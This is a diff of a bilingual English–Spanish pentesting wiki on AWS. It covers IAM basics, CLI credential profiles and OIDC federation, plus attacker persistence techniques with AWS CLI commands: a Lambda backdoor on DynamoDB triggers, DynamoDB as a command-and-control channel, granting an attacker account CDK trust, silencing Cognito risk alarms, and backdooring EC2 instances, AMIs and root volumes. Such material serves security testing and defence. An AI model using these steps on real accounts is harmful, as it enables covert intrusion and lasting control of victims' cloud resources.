AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**.
AWS Identity and Access Management (IAM) proporciona **control de acceso granular** en toda AWS. Con IAM, puedes especificar **quién puede acceder a qué servicios y recursos**, y bajo qué condiciones. Con las políticas de IAM, gestionas los permisos de tu fuerza laboral y sistemas para **asegurar permisos de menor privilegio**.
### IAM ID Prefixes
### Prefijos de ID de IAM
In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature:
En [**esta página**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) puedes encontrar los **prefijos de ID de IAM** de las claves dependiendo de su naturaleza:
| Identifier Code | Description |
| Código de Identificador | Descripción |
| --------------- | ----------------------------------------------------------------------------------------------------------- |
| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| ABIA | [Token portador del servicio AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| ACCA | Context-specific credential |
| AGPA | User group |
| AIDA | IAM user |
| AIPA | Amazon EC2 instance profile |
| AKIA | Access key |
| ANPA | Managed policy |
| ANVA | Version in a managed policy |
| APKA | Public key |
| AROA | Role |
| ASCA | Certificate |
| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. |
| ACCA | Credencial específica del contexto |
| AGPA | Grupo de usuarios |
| AIDA | Usuario IAM |
| AIPA | Perfil de instancia de Amazon EC2 |
| AKIA | Clave de acceso |
| ANPA | Política administrada |
| ANVA | Versión en una política administrada |
| APKA | Clave pública |
| AROA | Rol |
| ASCA | Certificado |
| ASIA | [IDs de claves de acceso temporales (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) utilizan este prefijo, pero son únicos solo en combinación con la clave de acceso secreta y el token de sesión. |
### Recommended permissions to audit accounts
### Permisos recomendados para auditar cuentas
The following privileges grant various read access of metadata:
Los siguientes privilegios otorgan varios accesos de lectura de metadatos:
- `arn:aws:iam::aws:policy/SecurityAudit`
- `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
@@ -356,14 +338,13 @@ The following privileges grant various read access of metadata:
- `directconnect:DescribeConnections`
- `dynamodb:ListTables`
## Misc
## Varios
### CLI Authentication
In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\
In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\
Example of credentials file with more than 1 profile:
### Autenticación CLI
Para que un usuario regular se autentique en AWS a través de CLI, necesitas tener **credenciales locales**. Por defecto, puedes configurarlas **manualmente** en `~/.aws/credentials` o **ejecutando** `aws configure`.\
En ese archivo puedes tener más de un perfil, si **no se especifica un perfil** usando el **aws cli**, se utilizará el llamado **`[default]`** en ese archivo.\
Ejemplo de archivo de credenciales con más de 1 perfil:
```
[default]
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
@@ -374,12 +355,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
region = eu-west-2
```
Si necesitas acceder a **diferentes cuentas de AWS** y tu perfil tiene acceso para **asumir un rol dentro de esas cuentas**, no necesitas llamar manualmente a STS cada vez (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) y configurar las credenciales.
If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) and configure the credentials.
You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\
A config file example:
Puedes usar el archivo `~/.aws/config` para [**indicar qué roles asumir**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), y luego usar el parámetro `--profile` como de costumbre (el `assume-role` se realizará de manera transparente para el usuario).\
Un ejemplo de archivo de configuración:
```
[profile acc2]
region=eu-west-2
@@ -388,36 +367,30 @@ role_session_name = <session_name>
source_profile = <profile_with_assume_role>
sts_regional_endpoints = regional
```
With this config file you can then use aws cli like:
Con este archivo de configuración, puedes usar aws cli así:
```
aws --profile acc2 ...
```
Si estás buscando algo **similar** a esto pero para el **navegador**, puedes revisar la **extensión** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
#### Automating temporary credentials
If you are exploiting an application which generates temporary credentials, it can be tedious updating them in your terminal every few minutes when they expire. This can be fixed using a `credential_process` directive in the config file. For example, if you have some vulnerable webapp, you could do:
#### Automatizando credenciales temporales
Si estás explotando una aplicación que genera credenciales temporales, puede ser tedioso actualizarlas en tu terminal cada pocos minutos cuando expiran. Esto se puede solucionar utilizando una directiva `credential_process` en el archivo de configuración. Por ejemplo, si tienes alguna aplicación web vulnerable, podrías hacer:
```toml
[victim]
credential_process = curl -d 'PAYLOAD' https://some-site.com
```
Note that credentials _must_ be returned to STDOUT in the following format:
Tenga en cuenta que las credenciales _deben_ ser devueltas a STDOUT en el siguiente formato:
```json
{
"Version": 1,
"AccessKeyId": "an AWS access key",
"SecretAccessKey": "your AWS secret access key",
"SessionToken": "the AWS session token for temporary credentials",
"Expiration": "ISO8601 timestamp when the credentials expire"
}
"Version": 1,
"AccessKeyId": "an AWS access key",
"SecretAccessKey": "your AWS secret access key",
"SessionToken": "the AWS session token for temporary credentials",
"Expiration": "ISO8601 timestamp when the credentials expire"
}
```
## References
## Referencias
- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
- [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)

View File

@@ -1,87 +1,84 @@
# AWS - Federation Abuse
# AWS - Abuso de Federación
{{#include ../../../banners/hacktricks-training.md}}
## SAML
For info about SAML please check:
Para obtener información sobre SAML, consulta:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
{{#endref}}
In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key)
Para configurar una **Federación de Identidad a través de SAML**, solo necesitas proporcionar un **nombre** y el **XML de metadatos** que contenga toda la configuración de SAML (**puntos finales**, **certificado** con clave pública).
## OIDC - Github Actions Abuse
## OIDC - Abuso de Github Actions
In order to add a github action as Identity provider:
1. For _Provider type_, select **OpenID Connect**.
2. For _Provider URL_, enter `https://token.actions.githubusercontent.com`
3. Click on _Get thumbprint_ to get the thumbprint of the provider
4. For _Audience_, enter `sts.amazonaws.com`
5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like:
- ```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:sub": [
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
],
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}
```
6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**.
7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**.
8. Finally use a github action to configure the AWS creds to be used by the workflow:
Para agregar una acción de github como proveedor de identidad:
1. Para _Tipo de proveedor_, selecciona **OpenID Connect**.
2. Para _URL del proveedor_, ingresa `https://token.actions.githubusercontent.com`
3. Haz clic en _Obtener huella digital_ para obtener la huella digital del proveedor.
4. Para _Audiencia_, ingresa `sts.amazonaws.com`
5. Crea un **nuevo rol** con los **permisos** que necesita la acción de github y una **política de confianza** que confíe en el proveedor como:
- ```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:sub": [
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
],
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}
```
6. Nota en la política anterior cómo solo se autorizó una **rama** de un **repositorio** de una **organización** con un **disparador** específico.
7. El **ARN** del **rol** que la acción de github podrá **suplantar** será el "secreto" que la acción de github necesita conocer, así que **almacénalo** dentro de un **secreto** dentro de un **entorno**.
8. Finalmente, usa una acción de github para configurar las credenciales de AWS que se utilizarán en el flujo de trabajo:
```yaml
name: "test AWS Access"
# The workflow should only trigger on pull requests to the main branch
on:
pull_request:
branches:
- main
pull_request:
branches:
- main
# Required to get the ID Token that will be used for OIDC
permissions:
id-token: write
contents: read # needed for private repos to checkout
id-token: write
contents: read # needed for private repos to checkout
jobs:
aws:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v3
aws:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@v1
with:
aws-region: eu-west-1
role-to-assume:${{ secrets.READ_ROLE }}
role-session-name: OIDCSession
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@v1
with:
aws-region: eu-west-1
role-to-assume:${{ secrets.READ_ROLE }}
role-session-name: OIDCSession
- run: aws sts get-caller-identity
shell: bash
- run: aws sts get-caller-identity
shell: bash
```
## OIDC - EKS Abuse
## OIDC - Abuso de EKS
```bash
# Crate an EKS cluster (~10min)
eksctl create cluster --name demo --fargate
@@ -91,43 +88,34 @@ eksctl create cluster --name demo --fargate
# Create an Identity Provider for an EKS cluster
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
```
It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy:
Es posible generar **OIDC providers** en un **EKS** cluster simplemente configurando la **OIDC URL** del cluster como un **nuevo proveedor de identidad Open ID**. Esta es una política predeterminada común:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
}
}
}
]
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
}
}
}
]
}
```
Esta política está indicando correctamente que **solo** el **clúster EKS** con **id** `20C159CDF6F2349B68846BEC03BE031B` puede asumir el rol. Sin embargo, no está indicando qué cuenta de servicio puede asumirlo, lo que significa que **CUALQUIER cuenta de servicio con un token de identidad web** va a **poder asumir** el rol.
This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role.
In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as:
Para especificar **qué cuenta de servicio debería poder asumir el rol,** es necesario especificar una **condición** donde se **especifica el nombre de la cuenta de servicio**, como:
```bash
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
```
## References
## Referencias
- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,21 +1,17 @@
# AWS - Permissions for a Pentest
# AWS - Permisos para un Pentest
{{#include ../../banners/hacktricks-training.md}}
These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools:
Estos son los permisos que necesitas en cada cuenta de AWS que deseas auditar para poder ejecutar todas las herramientas de auditoría de AWS propuestas:
- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions:
- **access-analyzer:List\***
- **access-analyzer:Get\***
- **iam:CreateServiceLinkedRole**
- **access-analyzer:CreateAnalyzer**
- Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission)
- **access-analyzer:DeleteAnalyzer**
- Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission)
- La política predeterminada **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
- Para ejecutar [aws_iam_review](https://github.com/carlospolop/aws_iam_review) también necesitas los permisos:
- **access-analyzer:List\***
- **access-analyzer:Get\***
- **iam:CreateServiceLinkedRole**
- **access-analyzer:CreateAnalyzer**
- Opcional si el cliente genera los analizadores por ti, pero generalmente es más fácil simplemente pedir este permiso)
- **access-analyzer:DeleteAnalyzer**
- Opcional si el cliente elimina los analizadores por ti, pero generalmente es más fácil simplemente pedir este permiso)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,5 +1,3 @@
# AWS - Persistence
# AWS - Persistencia
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,36 +0,0 @@
# AWS - API Gateway Persistence
{{#include ../../../banners/hacktricks-training.md}}
## API Gateway
For more information go to:
{{#ref}}
../aws-services/aws-api-gateway-enum.md
{{#endref}}
### Resource Policy
Modify the resource policy of the API gateway(s) to grant yourself access to them
### Modify Lambda Authorizers
Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
Or just remove the use of the authorizer.
### IAM Permissions
If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
Or just remove the use of the authorizer.
### API Keys
If API keys are used, you could leak them to maintain persistence or even create new ones.\
Or just remove the use of API keys.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,32 @@
# AWS - API Gateway Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## API Gateway
Para más información, consulta:
{{#ref}}
../../aws-services/aws-api-gateway-enum.md
{{#endref}}
### Política de recursos
Modifica la política de recursos de los API gateway(s) para otorgarte acceso a ellos
### Modificar Lambda Authorizers
Modifica el código de los lambda authorizers para otorgarte acceso a todos los endpoints.\
O simplemente elimina el uso del authorizer.
### Permisos IAM
Si un recurso está usando IAM authorizer podrías darte acceso a él modificando los permisos IAM.\
O simplemente elimina el uso del authorizer.
### API Keys
Si se usan API keys, podrías leak las API keys para mantener persistencia o incluso crear otras nuevas.\
O simplemente elimina el uso de API keys.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,25 +0,0 @@
# AWS - Cloudformation Persistence
{{#include ../../../banners/hacktricks-training.md}}
## CloudFormation
For more information, access:
{{#ref}}
../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}
### CDK Bootstrap Stack
The AWS CDK deploys a CFN stack called `CDKToolkit`. This stack supports a parameter `TrustedAccounts` which allow external accounts to deploy CDK projects into the victim account. An attacker can abuse this to grant themselves indefinite access to the victim account, either by using the AWS cli to redeploy the stack with parameters, or the AWS CDK cli.
```bash
# CDK
cdk bootstrap --trust 1234567890
# AWS CLI
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,23 @@
# AWS - Cloudformation Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## CloudFormation
Para más información, accede:
{{#ref}}
../../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}
### CDK Bootstrap Stack
El AWS CDK despliega una CFN stack llamada `CDKToolkit`. Esta stack soporta un parámetro `TrustedAccounts` que permite a cuentas externas desplegar proyectos CDK en la cuenta víctima. Un atacante puede abusar de esto para otorgarse acceso indefinido a la cuenta víctima, ya sea usando el AWS cli para reimplementar la stack con parámetros, o el AWS CDK cli.
```bash
# CDK
cdk bootstrap --trust 1234567890
# AWS CLI
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,46 +0,0 @@
# AWS - Cognito Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Cognito
For more information, access:
{{#ref}}
../aws-services/aws-cognito-enum/
{{#endref}}
### User persistence
Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
- **Adding a User Pool** controlled by the user to an Identity Pool
- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
- Or to an **authenticated Identity Pool** if the attacker can login
- Or **improve the permissions** of the given roles
- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
Check how to do these actions in
{{#ref}}
../aws-privilege-escalation/aws-cognito-privesc.md
{{#endref}}
### `cognito-idp:SetRiskConfiguration`
An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
```bash
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
```
By default this is disabled:
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,40 @@
# AWS - Cognito Persistencia
{{#include ../../../../banners/hacktricks-training.md}}
## Cognito
Para más información, accede:
{{#ref}}
../../aws-services/aws-cognito-enum/
{{#endref}}
### Persistencia de usuarios
Cognito es un servicio que permite asignar roles a usuarios unauthenticated y authenticated y controlar un directorio de usuarios. Varias configuraciones diferentes pueden alterarse para mantener cierta persistencia, como:
- **Adding a User Pool** controlado por el usuario a un Identity Pool
- Asignar un **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
- O a un **authenticated Identity Pool** si el atacante puede iniciar sesión
- O **mejorar los permisos** de los roles otorgados
- **Create, verify & privesc** vía atributos de usuarios controlados o nuevos usuarios en un **User Pool**
- **Allowing external Identity Providers** para iniciar sesión en un User Pool o en un Identity Pool
Consulta cómo realizar estas acciones en
{{#ref}}
../../aws-privilege-escalation/aws-cognito-privesc/README.md
{{#endref}}
### `cognito-idp:SetRiskConfiguration`
Un atacante con este privilegio podría modificar la configuración de riesgo para poder iniciar sesión como un usuario de Cognito **sin que se activen alarmas**. [**Consulta la CLI**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) para ver todas las opciones:
```bash
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
```
Por defecto, esto está deshabilitado:
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,67 +0,0 @@
# AWS - DynamoDB Persistence
{{#include ../../../banners/hacktricks-training.md}}
### DynamoDB
For more information access:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
{{#endref}}
### DynamoDB Triggers with Lambda Backdoor
Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
```bash
# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>
# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>
# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>
```
To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
### DynamoDB as a C2 Channel
An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>
# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>
```
The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,59 @@
# AWS - DynamoDB Persistencia
{{#include ../../../../banners/hacktricks-training.md}}
### DynamoDB
Para más información, consulta:
{{#ref}}
../../aws-services/aws-dynamodb-enum.md
{{#endref}}
### DynamoDB Triggers con Lambda Backdoor
Usando triggers de DynamoDB, un atacante puede crear una **stealthy backdoor** asociando una función Lambda maliciosa a una tabla. La función Lambda puede activarse cuando se añade, modifica o elimina un item, permitiendo al atacante ejecutar código arbitrario dentro de la cuenta AWS.
```bash
# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>
# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>
# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>
```
Para mantener la persistencia, el attacker puede crear o modificar elementos en la tabla DynamoDB, lo que activará la Lambda function maliciosa. Esto permite al attacker ejecutar código dentro de la cuenta AWS sin interacción directa con la Lambda function.
### DynamoDB as a C2 Channel
An attacker puede usar una tabla DynamoDB como un **command and control (C2) channel** creando elementos que contengan commands y usando compromised instances o Lambda functions para obtener y ejecutar esos commands.
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>
# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>
```
Las instancias comprometidas o Lambda functions pueden consultar periódicamente la C2 table en busca de nuevos comandos, ejecutarlos y, opcionalmente, reportar los resultados de vuelta a la C2 table. Esto permite al atacante mantener persistencia y control sobre los recursos comprometidos.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,58 +0,0 @@
# AWS - EC2 Persistence
{{#include ../../../banners/hacktricks-training.md}}
## EC2
For more information check:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
### Security Group Connection Tracking Persistence
If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
### EC2 Lifecycle Manager
This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
### Scheduled Instances
It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
### Spot Fleet Request
Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
### Backdoor Instances
An attacker could get access to the instances and backdoor them:
- Using a traditional **rootkit** for example
- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
- Backdooring the **User Data**
### **Backdoor Launch Configuration**
- Backdoor the used AMI
- Backdoor the User Data
- Backdoor the Key Pair
### VPN
Create a VPN so the attacker will be able to connect directly through i to the VPC.
### VPC Peering
Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,62 @@
# AWS - EC2 Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## EC2
Para más información consulta:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
### Security Group Connection Tracking Persistence
Si un defensor detecta que una **instancia EC2 fue comprometida**, probablemente intentará **aislar** la **red** de la máquina. Puede hacerlo con un **Deny NACL** explícito (pero los NACLs afectan a toda la subred), o **cambiando el security group** para no permitir **ningún tipo de tráfico entrante o saliente**.
Si el atacante tenía una **reverse shell originada desde la máquina**, incluso si el SG se modifica para no permitir tráfico entrante o saliente, la **conexión no se terminará debido a** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
### EC2 Lifecycle Manager
Este servicio permite **programar** la **creación de AMIs and snapshots** e incluso **compartirlas con otras cuentas**.\
Un atacante podría configurar la **generación de AMIs or snapshots** de todas las imágenes o de todos los volúmenes **cada semana** y **compartirlas con su cuenta**.
### Scheduled Instances
Es posible programar instancias para ejecutarse diariamente, semanalmente o incluso mensualmente. Un atacante podría mantener en ejecución una máquina con altos privilegios o acceso interesante que pudiera usar.
### Spot Fleet Request
Las spot instances son **más baratas** que las instancias regulares. Un atacante podría lanzar una **small spot fleet request for 5 year** (por ejemplo), con asignación de **IP automática** y un **user data** que envíe al atacante **cuando la spot instance arranque** la **dirección IP**, y con un **IAM role de altos privilegios**.
### Backdoor Instances
Un atacante podría obtener acceso a las instancias y backdoorearlas:
- Usando un **rootkit** tradicional, por ejemplo
- Añadiendo una nueva **public SSH key** (consulta [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
- Backdooring el **User Data**
### **Backdoor Launch Configuration**
- Backdoor the used AMI
- Backdoor the User Data
- Backdoor the Key Pair
### EC2 ReplaceRootVolume Task (Stealth Backdoor)
Swap the root EBS volume of a running instance for one built from an attacker-controlled AMI or snapshot using `CreateReplaceRootVolumeTask`. The instance keeps its ENIs, IPs, and role, effectively booting into malicious code while appearing unchanged.
{{#ref}}
../aws-ec2-replace-root-volume-persistence/README.md
{{#endref}}
### VPN
Crear una VPN para que el atacante pueda conectarse directamente al VPC.
### VPC Peering
Crear una conexión de peering entre el VPC de la víctima y el VPC del atacante para que pueda acceder al VPC de la víctima.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,75 @@
# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
{{#include ../../../../banners/hacktricks-training.md}}
Abusa de **ec2:CreateReplaceRootVolumeTask** para reemplazar el volumen root EBS de una instancia en ejecución por uno restaurado desde un AMI o snapshot controlado por el atacante. La instancia se reinicia automáticamente y arranca con el sistema de archivos root controlado por el atacante, mientras preserva las ENIs, las IPs privadas/públicas, los volúmenes adjuntos que no son root, y el instance metadata/IAM role.
## Requisitos
- La instancia objetivo está respaldada por EBS y en ejecución en la misma región.
- AMI o snapshot compatible: misma arquitectura/virtualización/modo de arranque (y códigos de producto, si los hay) que la instancia objetivo.
## Comprobaciones previas
```bash
REGION=us-east-1
